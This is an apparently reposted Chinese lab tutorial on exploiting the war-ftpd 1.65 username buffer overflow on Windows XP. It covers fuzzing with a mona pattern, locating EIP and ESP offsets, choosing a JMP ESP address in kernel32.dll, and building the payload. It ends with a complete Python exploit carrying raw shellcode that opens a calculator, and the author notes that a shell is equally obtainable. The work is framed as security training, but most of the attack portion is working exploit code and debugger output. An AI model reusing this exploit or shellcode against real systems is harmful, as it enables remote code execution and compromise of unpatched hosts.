IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 缓冲区溢出漏洞调试与分析 -> 正文阅读

[系统运维]缓冲区溢出漏洞调试与分析

预备知识

war-ftpd 1.65存在缓冲区溢出漏洞,当登录时用户名过长时就会发生缓冲区溢出,程序进而崩溃。本实验正是利用这一点使用调试工具cdb找出溢出时相应寄存器记录的地址,通过利用shellcode构造用户名字符串,使得war-ftpd程序接收此用户名时发生溢出进而执行shellcode,达到攻击目的。

实验目的

1)掌握缓冲区溢出原理;
2)掌握常用的缓冲区溢出方法;
3)理解缓冲区溢出的危害性;
4)掌握防范和避免缓冲区溢出攻击的方法。

实验环境

在这里插入图片描述
操作系统:Windows XP(sp3)
溢出对象:war-ftpd 1.65
调试工具:Ollydbg、Immunity Debugger、Windbg、CDB(四种调试工具任你选择)
编程语言:Python
软件地址:桌面
shellcode请在实验机内下载使用:http://tools.hetianlab.com/tools/shellcode.rar

实验步骤一

首先向war-ftpd发送1000字节的用户名,且字符串是不重复的,触发war-ftpd溢出漏洞,致使其崩溃。此时查看cdb调试器信息,EIP寄存器的信息即为溢出时RET中的地址,而此地址已被用户名字符串中的某4个字节覆盖。因此只需定位EIP的内容在1000字节字符串中的位置即可。
考虑将RET位置内容指向的指令为“JMP ESP”,而“JMP ESP”指令地址为(0x7ffa4512),因此将其替换到先前定位到的1000字节覆盖RET的位置,程序崩溃时就会执行JMP ESP指令了。接下来找到ESP内容在1000字节字符串中的位置,将其位置替换为shellcode,这样构造的登录用户名能达到溢出执行shellcode的攻击效果。
本实验选用的shellcode执行后的功能是在系统运行计算器。
1.在桌面war-ftpd文件夹启动war-ftpd程序,利用上述四种调试器之一(功能相同,看个人习惯,本次实验我采用了Immunity Debugger)将其挂起:
在这里插入图片描述
利用Immunity Debugger调试器将其挂起:
在这里插入图片描述
选中附加进程选项,找到var-ftpd这个进程,并将其挂起。
在这里插入图片描述
在这里插入图片描述
2.溢出时我们首先要确认junkcode()的大小,即在多大的字节小程序会产生溢出。
我们使用Immunity Debugger的mona插件来生成1000个字节:
在这里插入图片描述
!mona pattern_create 1000命令执行后会在这个目下C:\Program Files\Immunity Inc\Immunity Debugger生成pattern.txt,里面存放了1000 bytes的junkcode。
现在我利用python编写一个Socket程序将这些字节赋值给username段,发送给var-ftpd使之溢出。

#在这里我用python写了一个简单的程序,当然您也可以使用自己所熟悉的语言。#
#coding:utf-8
import socket
#生成的1000个字节
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'
#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

发送后,Immunity Debugger调试器跟踪如下:
在这里插入图片描述
在这里插入图片描述
ESP=71413471,EIP=32714131。
3.现在计算这两个地址在1000字节字符串中的偏移地址,依旧使用mona插件。使用如下所示:
在这里插入图片描述
在这里插入图片描述
可知EIP偏移为485,ESP偏移为493。这意味着485个字节后的EIP寄存器开始被缓冲区覆盖那么EIP中486-489字节是我们想要的目标。
CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和“跳”到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。
两个寄存器之间有8个字节,于是我们用4个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。我们使用保持1000字节边界的框架漏洞来调整缓冲区:

pattern = "\x41"*485 + "\x42\x42\x42\x42" + "\x43"*4 + "\x44"*507
#coding:utf-8
import socket
#Fuzz string
pattern = "\x41"*485 + "\x42\x42\x42\x42" + "\x43"*4 + "\x44"*507
#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'
#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。
将更改后的程序运行,调试器跟踪如下:
在这里插入图片描述
如预期一样,EIP存储了4个42,EIP到ESP间填充了4个43。得到ESP开始和结束的内存地址:start:00AEFD48,end:00AEFF3F。00AEFF3F-00AEFD48转换十进制后计算得知为487,意味着可以用487个字节来存放shellcode。
现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。
单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。在kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。
在这里插入图片描述
在本例中,是7C86467B。注意,如果使用其他操作系统,这个指令会在不同的位置。

pattern = "\x41"*485 + "\x7B\x46\x86\x7C" + "\x42"*4 + "\xCC"*507
#coding:utf-8
import socket
# Fuzz string
pattern = "\x41"*485 + "\x7B\x46\x86\x7C" + "\x42"*4 + "\xCC"*507
#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'
#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了\x7B\x46\x86\x7C。我们也要增加4Bs作为填充("\x42"*4)和改变最后一个值为\xCC*507(507 CCs),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始:00AEFD48。我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。
在这里插入图片描述
EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFD48)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。
4.构造漏洞利用的登录用户名字符串,如下所示:
在这里插入图片描述

[buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]

在这里插入图片描述
我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00,\x0d,\x0a,0x40。“\x40\xff\x3d\x20”可以阻止shellcode执行。
本例中shellcode构造如下,实现弹出一个计算器(这也意味着你可以得到一个shell):

shellcode="\xbf\x4d\xd5\x02\xce\xdb\xc0\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode+="\xb1\x33\x31\x78\x15\x03\x78\x15\x83\xc0\x04\xe2\xb8\x29"
shellcode+="\xea\x47\x42\xd2\xeb\x37\xcb\x37\xda\x65\xaf\x3c\x4f\xba"
shellcode+="\xa4\x11\x7c\x31\xe8\x81\xf7\x37\x24\xa5\xb0\xf2\x12\x88"
shellcode+="\x41\x33\x9a\x46\x81\x55\x66\x95\xd6\xb5\x57\x56\x2b\xb7"
shellcode+="\x90\x8b\xc4\xe5\x49\xc7\x77\x1a\xfe\x95\x4b\x1b\xd0\x91"
shellcode+="\xf4\x63\x55\x65\x80\xd9\x54\xb6\x39\x55\x1e\x2e\x31\x31"
shellcode+="\xbe\x4f\x96\x21\x82\x06\x93\x92\x71\x99\x75\xeb\x7a\xab"
shellcode+="\xb9\xa0\x45\x03\x34\xb8\x82\xa4\xa7\xcf\xf8\xd6\x5a\xc8"
shellcode+="\x3b\xa4\x80\x5d\xd9\x0e\x42\xc5\x39\xae\x87\x90\xca\xbc"
shellcode+="\x6c\xd6\x94\xa0\x73\x3b\xaf\xdd\xf8\xba\x7f\x54\xba\x98"
shellcode+="\x5b\x3c\x18\x80\xfa\x98\xcf\xbd\x1c\x44\xaf\x1b\x57\x67" +
shellcode+="\xa4\x1a\x3a\xe2\x3b\xae\x41\x4b\x3b\xb0\x49\xfc\x54\x81" +
shellcode+="\xc2\x93\x23\x1e\x01\xd0\xdc\x54\x0b\x71\x75\x31\xde\xc3" +
shellcode+="\x18\xc2\x35\x07\x25\x41\xbf\xf8\xd2\x59\xca\xfd\x9f\xdd" +
shellcode+="\x27\x8c\xb0\x8b\x47\x23\xb0\x99\x24\xae\x2a\x02\x85\x5b" +
shellcode+="\x93\x21\xb8\xf7\xb0\xa5"

在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0x90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。
在shellcode前添加了10个NOP,使之更好执行流程到它的最终目标。

pattern = "\x41"*485 + "\x7B\x46\x86\x7C" + "\x42"*4 + "\x90"*10"+ shellcode \xCC"*267 (497-230(shellcode长度))

完整的exp:

#coding:utf-8
import socket
#shellcode
shellcode="\xbf\x4d\xd5\x02\xce\xdb\xc0\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode+="\xb1\x33\x31\x78\x15\x03\x78\x15\x83\xc0\x04\xe2\xb8\x29"
shellcode+="\xea\x47\x42\xd2\xeb\x37\xcb\x37\xda\x65\xaf\x3c\x4f\xba"
shellcode+="\xa4\x11\x7c\x31\xe8\x81\xf7\x37\x24\xa5\xb0\xf2\x12\x88"
shellcode+="\x41\x33\x9a\x46\x81\x55\x66\x95\xd6\xb5\x57\x56\x2b\xb7"
shellcode+="\x90\x8b\xc4\xe5\x49\xc7\x77\x1a\xfe\x95\x4b\x1b\xd0\x91"
shellcode+="\xf4\x63\x55\x65\x80\xd9\x54\xb6\x39\x55\x1e\x2e\x31\x31"
shellcode+="\xbe\x4f\x96\x21\x82\x06\x93\x92\x71\x99\x75\xeb\x7a\xab"
shellcode+="\xb9\xa0\x45\x03\x34\xb8\x82\xa4\xa7\xcf\xf8\xd6\x5a\xc8"
shellcode+="\x3b\xa4\x80\x5d\xd9\x0e\x42\xc5\x39\xae\x87\x90\xca\xbc"
shellcode+="\x6c\xd6\x94\xa0\x73\x3b\xaf\xdd\xf8\xba\x7f\x54\xba\x98"
shellcode+="\x5b\x3c\x18\x80\xfa\x98\xcf\xbd\x1c\x44\xaf\x1b\x57\x67"
shellcode+="\xa4\x1a\x3a\xe2\x3b\xae\x41\x4b\x3b\xb0\x49\xfc\x54\x81"
shellcode+="\xc2\x93\x23\x1e\x01\xd0\xdc\x54\x0b\x71\x75\x31\xde\xc3"
shellcode+="\x18\xc2\x35\x07\x25\x41\xbf\xf8\xd2\x59\xca\xfd\x9f\xdd"
shellcode+="\x27\x8c\xb0\x8b\x47\x23\xb0\x99\x24\xae\x2a\x02\x85\x5b"
shellcode+="\x93\x21\xb8\xf7\xb0\xa5"
#exp string
pattern = "\x41"*485 + "\x7B\x46\x86\x7C" + "\x42"*4 +"\x90"*10+ shellcode +"\xCC"*267
#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'
#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

5.将构造好的EXP发送给开放21端口且运行war-ftpd的XP本机:
在这里插入图片描述
弹出了计算器……成功。当然,你可以获得更多的权限。

实验步骤二

利用其它应用程序的缓冲区溢出漏洞,对其进行远程缓冲区溢出。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-12-02 17:10:50  更:2021-12-02 17:10:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 2:46:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码